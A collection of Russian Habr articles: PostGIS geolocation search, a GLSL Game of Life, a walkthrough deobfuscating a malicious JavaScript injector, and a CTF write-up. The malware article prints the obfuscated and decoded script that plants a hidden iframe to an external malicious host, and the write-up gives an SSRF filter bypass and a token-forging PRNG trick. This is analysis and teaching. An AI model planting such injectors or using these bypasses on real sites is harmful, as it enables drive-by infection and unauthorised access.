Большое спасибо Эрику Хорачеку и Мэтью Чеоку за их большой вклад в архитектуру движения Airbnb и нашу декларативную структуру перехода.
Все названия продуктов, логотипы и торговые марки являются собственностью их соответствующих владельцев. Все названия компаний, продуктов и услуг, используемые на этом веб-сайте, предназначены только в цели идентификации. Использование этих названий, логотипов и торговых марок не подразумевает их одобрения. | https://habr.com/ru/post/705286/ | null | ru | null |
# Работа с геолокациями в режиме highload
При разработке ПО часто возникают интересные задачи. Одна из таких: работа с гео-координатами пользователей. Если вашим сервисом пользуются миллионы пользователей и запросы к РСУБД происходят часто, то выбор алгоритма играет важную роль. О том как оптимально обрабатывать большое количество запросов и искать ближайшие гео-позиции рассказано под катом.
#### Задача поиска ближайшего соседа
В процессе разработки сервиса push-уведомлений [Pushwoosh](http://www.pushwoosh.com/) возникла достаточно известная задача. Имеется много геозон. Геозона задается географическими координатами. Когда пользователь проходит мимо одной из таких геозон(например закусочная) ему должно приходить push-уведомление(«Йоу, заходи к нам и подкрепись с 20% скидкой). Для простоты будем считать радиус всех геозон одинаковым. В условиях большого количества геозон и большого количества пользователей**(у нас их 500 миллионов!)**, которые постоянно перемещаются — поиск ближайшей геозоны должен осуществляться максимально быстро. В англоязычной литературе эта задача известна как [Nearest neighbor search](http://en.wikipedia.org/wiki/Nearest_neighbor_search). На первый взгляд кажется, что чтобы решить эту задачу нужно посчитать расстояния от пользователя до каждой геозоны и сложность данного алгоритма линейна O(n), где n — количество геозон. **Но давайте решим эту задачу за логарифм O(log n)!**
### Географические координаты
Начнем с простого — широты и долготы. Чтобы указать положение точки на поверхности Земли можно воспользоваться:
1. Широтой(latitude) — идет с севера на юг. 0 — экватор. Изменяется от -90 до 90 градусов.
2. Долготой(longitude) — идет с запада на восток. 0 — нулевой меридиан(Гринвич). Изменяется от -180 до 180 градусов.
Нужно обратить внимание что x — это долгота, y — широта(Google Maps, Яндекс.Карты и все остальные сервисы указывают долготу первой).
Географические координаты можно перевести в пространственные — просто точка (x,y,z). Кому интересно более подробно можно посмотреть [википедию](http://ru.wikipedia.org/wiki/%D0%93%D0%B5%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B5_%D0%BA%D0%BE%D0%BE%D1%80%D0%B4%D0%B8%D0%BD%D0%B0%D1%82%D1%8B).
Количество знаков после запятой определяет точность:
| Градусы | Дистанция |
| --- | --- |
| 1 | 111 km |
| 0.1 | 11.1 km |
| 0.01 | 1.11 km |
| 0.001 | 111 m |
| 0.0001 | 11.1 m |
| 0.00001 | 1.11 m |
| 0.000001 | 11.1 cm |
Если нужна точность до одного метра, то следует хранить 5 знаков после запятой.
### Geohashing
Пусть у нас есть сервис, которым пользуются миллионы людей, и мы хотим хранить их географические координаты. Очевидный подход в данном случае завести в таблице два поля — широта/долгота. Можно использовать double precision(float8), который занимает 8 байт. В итоге нам потребуется 16 байт для хранения координат одного пользователя.
Но есть и другой подход, который называется **geohashing**. Идея простая. Широта и долгота кодируется в число, которое затем кодируется в base-32. Карта разбивается на матрицу размера 4x8 и каждой ячейке присваивается некоторый символ(alphanumeric).
Чтобы повысить точность, каждая ячейка разбивается на более мелкие, при этом к коду добавляются символы(если быть точным цифры, а после происходит кодирование в base-32).
Разбиение можно производить до необходимой точности. Такой код уникален для каждой точки.
Подробно алгоритм построения я описывать не буду, о нем можно почитать в [википедии](http://en.wikipedia.org/wiki/Geohash). Его идея похожа на [арифметическое кодирование](http://ru.wikipedia.org/wiki/%D0%90%D1%80%D0%B8%D1%84%D0%BC%D0%B5%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%BA%D0%BE%D0%B4%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5). Данный код обратим. Многие технологии уже имеют встроенные методы для работы с гео-хешами, например, [MongoDB](http://docs.mongodb.org/manual/core/geospatial-indexes/).
Пример: координаты 57.64911,10.40744 будут закодированы в u4pruydqqvj (11 символов). Если требуется меньшая точность, то и код будет меньше.
Особенность данного кода в том, что ОБЫЧНО близлежащие точки имеют одинаковый префикс. И можно посчитав разницу между гео-хешами определить близость двух точек. Но к сожалению данный алгоритм не точен, это хорошо видно из предыдущих изображений. Ячейки с кодами 7 и 8 находятся дальше друг от друга, чем ячейки 2 и 8.
В качестве примера приведу картинку, где гео-хеш дает неверный результат(geohashdelta — разность между геохешами без base32)
Если точностью в задаче можно пренебречь, то можно создать в таблице поле geohash, добавить по нему индекс и производить поиск за логарифм.
### Полный перебор
Можно написать хранимую процедуру
```
create or replace function gc_dist(_lat1 float8, _lon1 float8, _lat2 float8, _lon2 float8) returns float8 as
$$
DECLARE
radian CONSTANT float8 := PI()/360;
BEGIN
return ACOS(SIN($1*radian) * SIN($3*radian) + COS($1*radian) * COS($3*radian) * COS($4*radian-$2*radian)) * 6371;
END;
$$ LANGUAGE plpgsql;
```
и использовать её
```
explain SELECT *, gc_dist(54.838971, 83.106560, lat, lng) AS pdist FROM geozones WHERE applicationid = 3890 ORDER BY pdist ASC LIMIT 10;
```
Но в итоге будет Seq Scan, что очень не приятно.
```
Limit (cost=634.72..634.75 rows=10 width=69)
-> Sort (cost=634.72..639.72 rows=2001 width=69)
Sort Key: (gc_dist(54.838971::double precision, 83.10656::double precision, (lat)::double precision, (lng)::double precision))
-> Seq Scan on geozones (cost=0.00..591.48 rows=2001 width=69)
```
### K-d tree и R tree
Что делать, когда точностью пренебречь не получается? Для этого уже есть специальная структура данных [K-d tree](http://en.wikipedia.org/wiki/K-d_tree). Можно перевести широту и долготу в (x,y,z) построить по ним дерево и производить поиск по дереву в среднем за логарифм.
### PostGIS
[PostGIS](http://postgis.net/) — это расширение, которое значительно расширяет обработку географических объектов в РСУБД PostgreSQL.
Для решения нашей задачи будет использовать трехмерную систему координат SRID 4326([WGS 84](http://en.wikipedia.org/wiki/WGS84)). Данная система координат определяет координаты относительно центра масс Земли, погрешность составляет менее 2 см.
Если у вас ubuntu-подобная система, то PostGIS можно установить из пакета(для PostgreSQL 9.1):
```
sudo apt-get install python-software-properties;
sudo apt-add-repository ppa:ubuntugis/ppa;
sudo apt-get update;
sudo apt-get install postgresql-9.1-postgis;
```
И подключить необходимые экстеншены:
```
CREATE EXTENSION postgis;
CREATE EXTENSION btree_gist; -- for GIST compound index
```
С помощью \dx можно посмотреть все установленные экстеншены.
Создадим отношение с индексом по полю location
```
CREATE TABLE geozones_test (
uid SERIAL PRIMARY KEY,
lat DOUBLE PRECISION NOT NULL CHECK(lat > -90 and lat <= 90),
lng DOUBLE PRECISION NOT NULL CHECK(lng > -180 and lng <= 180),
location GEOMETRY(POINT, 4326) NOT NULL -- PostGIS geom field with SRID 4326
);
CREATE INDEX geozones_test_location_idx ON geozones_test USING GIST(location);
```
После чего для поиска ближайшей геозоны можно воспользоваться следующим запросом
```
SELECT *, ST_Distance(location::geography, 'SRID=4326;POINT(83.106560 54.838971)'::geography)/1000 as dist_km
FROM geozones_test ORDER BY location <-> 'SRID=4326;POINT(83.106560 54.838971)' limit 10;
```
Здесь <-> — distance operator. Мы посчитали дистанцию и нашли ближайшие 10 геозон!
СТОП скажите Вы! Ведь данный запрос должен просмотреть все записи в таблице и посчитать расстояние до каждой геозоны O(n).
Давайте посмотрим EXPLAIN ANALYZE запроса
```
EXPLAIN ANALYZE
SELECT *, ST_Distance(location::geography, 'SRID=4326;POINT(83.106560 54.838971)'::geography)/1000 as dist_km
FROM geozones_test ORDER BY location <-> 'SRID=4326;POINT(83.106560 54.838971)' limit 10;
Limit (cost=0.00..40.36 rows=10 width=227) (actual time=0.236..0.510 rows=10 loops=1)
-> Index Scan using geozones_test_location_idx on geozones_test (cost=0.00..43460.37 rows=10768 width=227) (actual time=0.235..0.506 rows=10 loops=1)
Order By: (location <-> '0101000020E6100000F4C308E1D1C654406EA5D766636B4B40'::geometry)
Total runtime: 0.579 ms
```
**Index Scan! Где же магия?**
А она находится в GiST индексе.
PostgreSQL поддерживает 3 типа индексов:
1. B-Tree — используются, когда данные могут быть отсортированы вдоль одной оси; например, числа, символы, даты. Данные ГИС не могут быть рациональным способом отсортированы вдоль одной оси (что больше: (0,0) или (0,1) или (1,0)?), а потому для их индексирования B-Tree не помогут. B-Tree работают с операторами <, <=, =, >=, > и др.
2. Hash — может работать только с сравнением на равенство. Так же данный индекс не Write-Ahead logging — тоесть из бекапа индекс может и не поднятся.
3. Индексы GIN — »перевёрнутые" индексы, которые могут обрабатывать значения, содержащие более одного ключа, например, массивов.
4. **Индексы GiST** (Generalized Search Trees — обобщенные деревья поиска) — представляет собой некую инфраструктуру, в которой могут быть реализованы много различных стратегий индексирования. GiST-индексы разделяют данные на объекты по одну сторону (things to one side), пересекающиеся объекты(things which overlap), объекты внутри(things which are inside) и могут быть использованы для многих типов данных, включая данные ГИС.
GiST-индекс реализованный PostGIS поддерживает [distance operator](http://www.postgis.org/documentation/manual-svn/geometry_distance_centroid.html) <-> при поиске. Также данный индекс может быть составным!
Данный функционал можно реализовать и без использования PostGIS, воспользовавшись индексом [btree-gist](http://www.postgresql.org/docs/9.1/static/btree-gist.html), но PostGIS предоставляет удобные методы для перевода широты и долготы в WGS 84.
#### Ссылки:
[1] Интересные примеры запросов [postgresql.ru.net/postgis/ch04\_6.html](http://postgresql.ru.net/postgis/ch04_6.html)
[2] Восхищение простотой использования [boundlessgeo.com/2011/09/indexed-nearest-neighbour-search-in-postgis](http://boundlessgeo.com/2011/09/indexed-nearest-neighbour-search-in-postgis/)
[3] Презентация о том, что данный подход можно использовать не только для широты/долготы, но и для улиц и других интересных объектов [www.hagander.net/talks/Find%20your%20neighbours.pdf](http://www.hagander.net/talks/Find%20your%20neighbours.pdf)
[4] Презентация разработчиков KNN GIst-index [www.sai.msu.su/~megera/postgres/talks/pgcon-2010-1.pdf](http://www.sai.msu.su/~megera/postgres/talks/pgcon-2010-1.pdf)
P.S.
Postgres version >= 9.1
PostGIS version >= 2.0 | https://habr.com/ru/post/228023/ | null | ru | null |
# Эмулятор игры «жизнь» на языке GLSL
Для начала небольшой ликбез: [раз](http://habrahabr.ru/blogs/python/111247/), [два](http://ru.wikipedia.org/wiki/Жизнь_(игра)), [три](http://habrahabr.ru/blogs/games/63848/).
Наверное, многие хоть раз в жизни писали эмулятор игры «жизнь».
Может быть для обучения программированию, может быть для интереса, экспериментов…
В любом случае, реализация на многих популярных языках программирования — несложное упражнение для обучения этому языку.
Но сегодня мы попробуем реализовать такой эмулятор при помощи видеокарты, так как алгоритм самой игры хорошо реализовывается при помощи параллельных вычислений.
Используем OpenGL, соответственно, язык шейдеров — GLSL. Основная программа будет написана на С++
#### Введение
Итак, приступим.
Для начала всё же вспомним, как происходит «смена поколений» в данной игре.
Для каждой клетки смотрим количество её живых соседей. Если оно равно 3 и исходная клетка пустая, то клетка оживает. Если исходная клетка жива, но количество соседей не равно 2 или 3, то она умирает.
Очевидно, что для каждой клетки можно проверить эти условия отдельно, достаточно лишь знать её состояние и состояние 8-и соседей на предыдущем шаге. Кроме того, переход в следующее поколение происходит «одномоментно», поэтому в простейших реализациях используется два двумерных массива для этой цели.
Есть конечно вариант с одним массивом — отмечать клетки, которые оживут и умрут, а потом уже делать изменение данных в массиве. В данной реализации мы будем использовать два фреймбуфера, в каждом по текстуре (=по двумерному массиву).
Вариант с одним массивом не проходит, например, потому, что при рендере нельзя назначить одну и ту же текстуру на чтение и на запись. Кроме того, такой метод требует двух проходов по массиву.
Так что, не будем заморачиваться, и реализуем простой вариант. Видеопамяти нынче много :)
#### Инициализация
##### Создание фреймбуфера и текстуры
Для начала создадим два фреймбуфера и добавим каждому по текстуре.
Код инициализации одного буфера:
`glGenFramebuffersEXT(1,&FrameBufferID);
glGenTextures(1,?ColorBufferID);
glBindFramebufferEXT(GL_FRAMEBUFFER_EXT, FrameBufferID );
glBindTexture(GL_TEXTURE_2D,ColorBufferID);
glTexImage2D(GL_TEXTURE_2D,0,4,SizeX,SizeY,0,RGBA,GL_UNSIGNED_BYTE,0);
glFramebufferTexture2DEXT(GL_FRAMEBUFFER_EXT,GL_COLOR_ATTACHMENT0_EXT,GL_TEXTURE_2D,ColorBufferID,0);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST );
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST );
glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT);
glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT);
glBindTexture(GL_TEXTURE_2D,0);
glDisable(GL_DEPTH_TEST);
glEnable(GL_TEXTURE_2D);
glBindFramebufferEXT(GL_FRAMEBUFFER_EXT, 0);`
Здесь мы создали фреймбуфер и текстуру, далее с помощью glTexImage2D задали размер и формат текстуры (можно конечно было создать однокомпонентную текстуру для этих целей, а при рендере передавать её в шейдер и по данным из текстуры выводить цветной пиксель на экран, но мы ради простоты будем эту же текстуру и выводить, так что сразу задаём такой формат).
Следующая функция glFramebufferTexture2DEXT прикрепляет текстуру к фреймбуферу.
Далее мы настраиваем параметры текстуры — Nearest-фильтрацию для того, чтобы в шейдере избежать погрешностей при чтении из соседних пикселей текстуры.
##### Замкнутое поле
Как известно, очень часто в компьютерных реализациях эмулятора «жизни» используется тороидальное поле, т.е. левый край замыкается на правый, а верхний на нижний.
Здесь же такую особенность поля нам дарит GL\_REPEAT — при попытке прочитать из текстуры значение за её краем будет получено значение с другой стороны — т.е. ровно то, что и нужно.
##### Редактирование клеток поля
С помощью функции glTexSubImage2D можно легко изменять данные в текстуре. Условимся считать, что клетка «жива», то все компоненты RGBA будут равны 255, а иначе они все равны 0.
Тогда код изменения одного пикселя текстуры:
`unsigned char buf[4]={val,val,val,val}; // val is 0 or 255
glBindTexture(GL_TEXTURE_2D,ColorBufferID);
glTexSubImage2D(GL_TEXTURE_2D,0,x,y,1,1,GL_RGBA,GL_UNSIGNED_BYTE,buf);
glBindTexture(GL_TEXTURE_2D,0);`
##### Загрузка шейдеров
Не буду приводить здесь код загрузки шейдеров, т.к. они заружаются в данном случае самым обычным образом.
Про использование шейдеров и фреймбуферов можно почитать [здесь](http://steps3d.narod.ru/articles.html)
#### Основная часть
Собственно, ради чего всё и писалось.
Здесь для простоты приведен один проход рендеринга в текстуру.
Соответственно, нужно чередовать два буфера по очереди — из одного читаем, в другой пишем.
`glBindFramebufferEXT(GL_FRAMEBUFFER_EXT, FrameBufferID );
glUseProgram ( ProgramObject );
float szx=sizex;
float szy=sizey;
glUniform1f( glGetUniformLocation (ProgramObject, "SizeX" ) , szx);
glUniform1f( glGetUniformLocation (ProgramObject, "SizeY" ) , szy);
glBindTexture(GL_TEXTURE_2D,ColorTextureID_2); // текстура из другого буфера
glUniform1i( glGetUniformLocation (ProgramObject, "SourceTexture" ) , 0);
glViewport(0, 0, szx,szy);
glMatrixMode ( GL_PROJECTION );
glLoadIdentity ();
glOrtho ( 0, width, 0, height, -1, 1 );
glMatrixMode ( GL_MODELVIEW );
glLoadIdentity ();
DrawQuad(0,0,szx,szy,-1.0);
glBindTexture(GL_TEXTURE_2D,0);
glUseProgram ( 0 );
glBindFramebufferEXT(GL_FRAMEBUFFER_EXT, 0 );`
Функция DrawQuad (используем FFP только для простоты, по-хорошему нужно конечно создать вершинный буфер, и т.п.)
`void DrawQuad (float x,float y, float w, float h ,float z)
{
glBegin ( GL_QUADS );
glTexCoord2f ( 0, 0 );
glVertex3f ( x, y ,z);
glTexCoord2f ( 1, 0 );
glVertex3f ( x+w, y ,z);
glTexCoord2f ( 1, 1 );
glVertex3f ( x+w, y+h ,z);
glTexCoord2f ( 0, 1 );
glVertex3f ( x, y+h ,z);
glEnd ();
}`
В этом куске кода мы сначала назначаем фреймбуфер и шейдер как текущие, передаем в шейдер размеры поля и текстуру из другого фреймбуфера в качестве исходника. Далее, рисуем прямоугольник на весь экран, что и вызывает запуск шейдера для всех точек тестуры. В итоге текущем фреймбуфере в текстуре будет содержаться состояние поля в следующее поколение «жизни».
#### И конечно же, код шейдеров!
В вершинном шейдере ничего особенного не делаем, нам не нужна трансформация вершин.
`void main(void)
{
gl_Position=ftransform(); // вершина без изменений
gl_TexCoord[0] = gl_MultiTexCoord0; // передаём текстурную координату во фрагментный шейдер
}`
Фрагментный шейдер:
`uniform sampler2D SourceTexture;
uniform float SizeX;
uniform float SizeY;
void main(void)
{
float deltax = 1.0/SizeX;
float deltay = 1.0/SizeY;
float Sum = texture2D(SourceTexture,gl_TexCoord[0].st+vec2( deltax, deltay)).r +
texture2D(SourceTexture,gl_TexCoord[0].st+vec2(-deltax, deltay)).r +
texture2D(SourceTexture,gl_TexCoord[0].st+vec2(-deltax,-deltay)).r +
texture2D(SourceTexture,gl_TexCoord[0].st+vec2( deltax,-deltay)).r +
texture2D(SourceTexture,gl_TexCoord[0].st+vec2( 0, deltay)).r +
texture2D(SourceTexture,gl_TexCoord[0].st+vec2( 0,-deltay)).r +
texture2D(SourceTexture,gl_TexCoord[0].st+vec2(-deltax, 0)).r +
texture2D(SourceTexture,gl_TexCoord[0].st+vec2( deltax, 0)).r ;
float center =texture2D(SourceTexture,gl_TexCoord[0].st).r;
float koef=0.0;
if(center>0.5) // если единица - то живае, если ноль, то мёртвая
{
if(Sum>3.5 || Sum<1.5)koef=0.0;else koef=1.0; // если у нас один сосед или больше трех, то умерли
}
else
{
if(Sum>2.5 && Sum<3.5)koef=1.0; // если Sum==3, то оживаем
}
gl_FragColor=vec4(1.0,1.0,1.0,1.0)*koef;
}`
#### Исходный код
Программу писал и запускал только под линуксом (Ubuntu 10.10).
Используется библиотека SDL для инициализации OpenGL-контекста.
Так что, скомпилить в Windows скорее всего можно.
Если кто соберет и выложит где-нибудь — большое спасибо.
В файле с настройками можно поменять разрешение экрана, размер поля и начальное состояние поля.
[narod.ru/disk/2930622001/LifeSim.zip.html](http://narod.ru/disk/2930622001/LifeSim.zip.html) | https://habr.com/ru/post/111332/ | null | ru | null |
# Расшифровка вредоносного JavaScript
Здравствуйте, уважаемые пользователи хабра. После того, как я опубликовал [данную статью](http://habrahabr.ru/blogs/infosecurity/136771/), у пользователей появился интерес, и они стали спрашивать меня в ЛС и в комментариях, а как именно расшифровываются данные скрипты и что же именно такого делают данные коды.
#### Вступление
Так всё же, что делают эти скрипты? Чаще всего вредоносные JScript файлы устанавливаются «хакерами», для получения какой либо выгоды, а именно:
Пополнение своего [ботнета](http://ru.wikipedia.org/wiki/%C1%EE%F2%ED%E5%F2), установка [винлокеров](http://ru.wikipedia.org/wiki/Trojan.Winlock), исправления файла hosts для перенаправления пользователей на фейковые сайты, ну и конечно же для обмена трафиком.
Так вот, я попробую подробно рассказать о том, как раскодировать вредоносный JavaScript и в последствии вычислить адрес, куда он ведет.
#### Подготовка
##### Программное обеспечение
Пользоваться я буду редактором **NetBeans IDE 7.0**. Во-первых, я всегда в нем работаю, а во-вторых, в нем очень удобно форматировать код. Но Вы можете использовать наиболее удобный Вам редактор.
##### Ищем вредоносный код
Я возьму **ВРЕДОНОСНЫЙ** скрипт из прошлой статьи, так что без антивируса туда лучше не лезть. Вот его адрес: **[goog1e-analitics.com/openapi.js](http://goog1e-analitics.com/openapi.js)**. Для того, чтобы Вам лишний раз не бояться заразиться, и не совершать лишних действий, я скопировал и **отформатировал** его [pastebin.com/BJ751scy](http://pastebin.com/BJ751scy)
Кто хочет сам его отформатировать заходим в *NetBeans => Исходный код => Формат*
#### Первые действия
После того, как мы отформатировали код, и внесли его в html документ между тегами у нас получилось примерно следующее (На скриншоте не весь код)
#### Кратко о выполняемых действий
Как мы видим, сейчас скрипт у нас не читаем. Для его раскодировки, нам понадобится сделать всего несколько действий. Сейчас кратко: Закомментируем *eval* (Функция которая выполняет весь код), потом создадим переменную **x** С той частью кода, которая выполняется в *eval*. Вызовем переменную ***x*** функцией ***document.write(x);***. Последним действие уберем 16-ричную систему функцией ***unescape()***.
На теории всё легко, а на практике еще легче!
#### Переходим к главному — практика
Как я писал выше, мы будем работать с данной функцией (У меня она начинается на 24 строчке файла, у Вас может быть по другому):
```
$sA = function (_)
{
for ($g = ~$d.$l6 - ~$d.$l6; $g < $P[_]; $g += -~$d.$FP)
{
$j += '\x25' + $P[$g++] + $P[$g--];
}
$E['eva\x6C']($E[$d.$fJ]($j));
},
```
И так приступим. У нас есть строчка `$E['eva\x6C']($E[$d.$fJ]($j));` Которую мы должны закомментировать. Делается это двумя слешами `// $E['eva\x6C']($E[$d.$fJ]($j));`
Далее ниже определяем переменную, и вызываем её, и у нас получается следующее:
```
$sA = function (_)
{
for ($g = ~$d.$l6 - ~$d.$l6; $g < $P[_]; $g += -~$d.$FP)
{
$j += '\x25' + $P[$g++] + $P[$g--];
}
// $E['eva\x6C']($E[$d.$fJ]($j));
var x = $E[$d.$fJ]($j);
document.write(x);
},
```
Теперь ничего опасного нам не грозит, можем выполнить файл в браузере:
Скопируем полученный код, и отформатируем его:
```
var _q=\u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'),
_n='s\x65\x74\x41\x74\x74\x72ibute';
_q[_n]('\x73rc','http://vbnieewr\x2E\x72\x75\x2F\x69\x6E\x2E\x63\x67\x69\x3F\x64\x65\x66\x61\x75lt');
_q.style.position='abs\x6F\x6C\x75\x74e';
_q.style.width='16px';_q[_n]('fr\x61\x6D\x65border', nav\u0069\u0067\u0061tor.use\u0072\u0041\u0067ent.i\u006E\u0064\u0065xOf('f0a7a142b755172da72ff74a1ac25199')+1);
_q.style.left = '-5597px';d\u006F\u0063ument.w\u0072ite('');
\u0064\u006Fcument.getElementById('__dr11938').appendChild(_q);
```
#### Завершение
Теперь нам придется достаточное время повозиться, убирая 16-ричную систему. Делается это так:
Создаем файл **index2.html** с содержимым
Берем первую строчку из нашего первого файла (index.html)
```
var _q=\u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'),
```
Вставляем часть строчки в файл **index2.html**, вызываем её алертом, и получится вот такой код:
```
alert("q=\u0064\u006Fcument.creat\u0065\u0045\u006C\u0065ment('ifra\x6D\x65'),");
```
Выполняем…
Копируем полученное, и заменяем это в первой строчке, и так проделываем со всеми строками, в которых есть 16-ричная система.
#### Результат
```
var _q = document.createElement('iframe'),
_n = 'setAttribute';
_q[_n]('src', 'http://vbnieewr.ru/in.cgi?default');
_q.style.position = 'absolute';
_q.style.width = '16px';
_q[_n]('frameborder', navigator.userAgent.indexOf('f0a7a142b755172da72ff74a1ac25199') + 1);
_q.style.left = '-5597px';
document.write('');
document.getElementById('__dr11938').appendChild(_q);
```
Ну вот, мы раскодировали вредоносный скрипт, и теперь можем понять, что же он делат. Именно этот скрипт создает ифрейм на адрес [vbnieewr.ru/in.cgi?default](http://vbnieewr.ru/in.cgi?default).
#### Заключение
Уважаемые пользователи, следите за безопасностью Вашего проекта, ставьте надежные пароли, делайте бекапы, как можно чаще.
Также хочу поделиться с вами [статьёй](http://raz0r.name/obzory/5-free-online-services-to-analyze-malware/), которую написал пользователь [Raz0r](https://habrahabr.ru/users/raz0r/). Она написана по мотивам [моего](http://habrahabr.ru/blogs/infosecurity/136771/) топика, а именно небольшой обзор 5 бесплатных **онлайн сервисов** для анализа и борьбы с [malware](http://ru.wikipedia.org/wiki/%C2%F0%E5%E4%EE%ED%EE%F1%ED%E0%FF_%EF%F0%EE%E3%F0%E0%EC%EC%E0).
Спасибо за внимание. | https://habr.com/ru/post/137071/ | null | ru | null |
# Chaos Construction 2013: hackquest review-writeup
Как многие знают, [на этих выходных](http://habrahabr.ru/post/189658/) в Санкт-Петербурге проходил фестиваль компьютерного творчества, в т.ч. на которым был hackquest (по типу Capture The Flag). Так как у меня сейчас нет личного блога, решил поделиться решением заданий здесь, думаю многим будет интересно :) в т.ч. есть были задачи, которые обсуждались на Хабре (заливка «запрещенной» музыки в ВК). Тематика была — Prism, АНБ и т.д.
Я не сохранил весь список заданий, но многие из них еще работают, восстанавливаю по памяти.
#### [iPrism (mobile)](https://hackquest.chaosconstructions.ru/missions/iPrism/)
> hack
>
> [this](https://hackquest.chaosconstructions.ru/missions/iPrism/b00067.ipa)
>
> secret
>
> app
Скачиваем, находим приложение под iOS. Я не особо силен в реверсе, решил оставить на после. Но читая твиттер (полезно быть подписанным на организаторов), наткнулся на запись о сервисе [hackapp.com](http://hackapp.com/)
>  HackApp is web based service, for mobile apps static security analysis. It identifies critical and suspicious information in bundle, such as:
>
> — Certificates and keys
>
> — Authentication secrets
>
> — License Control
>
> — Compilation flaws
Сервис для поиска security багов в мобильных приложениях. Грузим наш файл, он генерит по нему отчет — [hackapp.com/open#e55bece90691913812ef6e0da5c8278a](http://hackapp.com/open#e55bece90691913812ef6e0da5c8278a), находим ключ
> Affected files:
>
> — b00067.app/Defaults.plist
>
> Plain text authentication secrets seems to be saved in app bundle
>
>
>
> AuthTokenString:C\_C\_13\_F\_L\_@\_G:**8204e7efa933e2521a69417c4ab2357e**
**Flag**: 8204e7efa933e2521a69417c4ab2357e
#### [Prismtestm (web)](https://hackquest.chaosconstructions.ru/missions/prismtest)
Скажу сразу, что это задание я не решил. Решение спросил после у команды (Hardc0de). Переходим на сайт задания, видим вебсайт с формой, где можно заполнить адрес проверки сайта на «PRISM» (обязательно попадающий под регулярку (.\*).com ). Сразу заподозрил тут SSRF (1 причина — организаторы ONSec, вторая — просто логически). Копал [SSRF Bible](https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit), зарегал домен .com, натравил скрипт на свой сервер с включенным tshark — ничего, в общем, как только не бился. Решение — обходим регулярку через **/?**, т.е. в хост пишем
127.0.0.1:80/?.com
Заставляем скрипт коннектится к локалхосту (**?.com** просто вырезается в функции на сервере как URI), передаем так же &debug (который можно было увидеть в комментах html). Момент в том, что порт надо указывать **обязательно**, иначе ничего не заводилось. А через параметр debug нужно провести SSRF, примеры можно найти в разделе Smuggling examples (SSRF bible). И копаем.
#### [listen2me (stegano)](https://hackquest.chaosconstructions.ru/missions/listen2me/)
> To bypass PRISM guys sometime uses this technique
>
> [Flag is MD5(message\_from\_MP3)](https://hackquest.chaosconstructions.ru/missions/listen2me/listen2me.mp3)
*Задание не решил никто*. Качаем файл, определяем, что это не mp3 (по заголовкам), даем расширение архива, открываем — архив битый, внутри два файла — calc.exe и reverse\_something.txt. Начинаем копать, внутри находятся заголовки JPEG задом наперед. Вытаскиваем картинку, в картинке тоже стегано. Вроде как и в ней — ключ.
#### [Gener (web)](https://hackquest.chaosconstructions.ru/missions/gener/index.php)
> NSA produced high secure PRNG [source](https://hackquest.chaosconstructions.ru/missions/gener/index.phps)
По ссылке — исходник
```
php
function reallySecureRandom(){
$seed = (double)microtime()*1000000;
$seed = $seed * (getmypid()0?getmypid():1);
$seed = $seed * (getmygid()>0?getmygid():1);
$seed = $seed * (getmyinode()>0?getmyinode():1);
$seed = $seed * (getmyuid()>0?getmyuid():1);
$seed = $seed * (memory_get_usage()>0?memory_get_usage():1);
mt_srand($seed);
return mt_rand().mt_rand();
}
if($_COOKIE['token']===md5(reallySecureRandom())) echo file_get_contents('/tmp/flag.txt');
?>
```
Задача довольно ясная, нужно выставить себе куку по этому алгоритму. microtime — можем узнать через заголовок date, который отдает скрипт. pid/gid/uid — некоторые будут равны нулю, некоторые не такие большие, чтобы перебрать. memory\_get\_usage — запустить скрипт у себя, замерить расход памяти (при чем расход будет разный на x32 и x64). А вот с getmyinode было непонятно, так как значение действительно большое. В общем каким-то магическим образом задание решалось с $seed = 0. Т.е. код для генерации куки:
```
php
mt_srand(0);
echo md5(mt_rand().mt_rand());</code
```
#### [Crackme (reverse)](https://hackquest.chaosconstructions.ru/missions/crackme/)
> NSA use this program to produce a secret key.
>
>
>
> Flags is MD5(key)
>
> [.](https://hackquest.chaosconstructions.ru/missions/crackme/crackme)
Не решал, реверс под macos. Все, что попробовал — прогнать через strings :)
#### [inveter](https://hackquest.chaosconstructions.ru/missions/inveter/)
> Reverse the 480120101078 with #chaosconstructions2013.
>
> Hackmap around are Fibonacci numbers up to the 0x10.
>
> Hint: 480132102026 and 481214218007 fit too.
>
>
>
> Flag is MD5(result)
Задание не решил никто. Были разные мысли, какие правильно — не уверен, так что писать ничего не буду)
#### [CryptoMsg (reverse)](https://hackquest.chaosconstructions.ru/missions/CryptoMsg/)
> #i#
> 1evryyone lies6 — 44,~yteU<<\*sZOe
>
> 1234567 — )Wj~5Kb
>
> 1234568 — \*Wj~5Kc
>
> 2345678 — 1Ym$:Qi
>
> abcdef — FX=#hP
>
> abcdef1 — YY>$iQb
>
> hackers — ]\_D1vj\_
>
> 1337hackers — |\o(pS8%j^S
>
> hackers1337 — UcH5znct)
> task for cryptoanalysis — !{p]]E6\*\*ma\ND5vfI72'pe
>
> you will never break this cipher! — q:11\*saOO?&|cWW;/tWDD:$mbbG2$lSGH
>
>
>
> Flag is MD5(????????)
>
>
>
> Download crypt3r: ./ccrypto.jar
Нужно расшифровать первое сообщение, имея тулзу. Качаем ccrypto.jar, распаковываем через [java.decompiler.free.fr](http://java.decompiler.free.fr/), получаем исходник приложения. **Криптофукция**
```
void encrypt() {
int val = 0;
this.buff = new ArrayList();
for (int i = 0; i < this.input.length(); i++)
{
val = this.input.charAt(i);
val -= 32;
if (i > 0)
{
val += ((Integer)this.buff.get(i - 1)).intValue();
}
else
{
val += this.input.length() + 13;
}
if (val > 94)
{
val -= 94;
}
Integer Val = Integer.valueOf(val);
if (i == this.input.length() - 1)
{
int temp = 0;
temp = ((Integer)this.buff.get(0)).intValue() + val;
if (temp > 94)
{
temp -= 94;
}
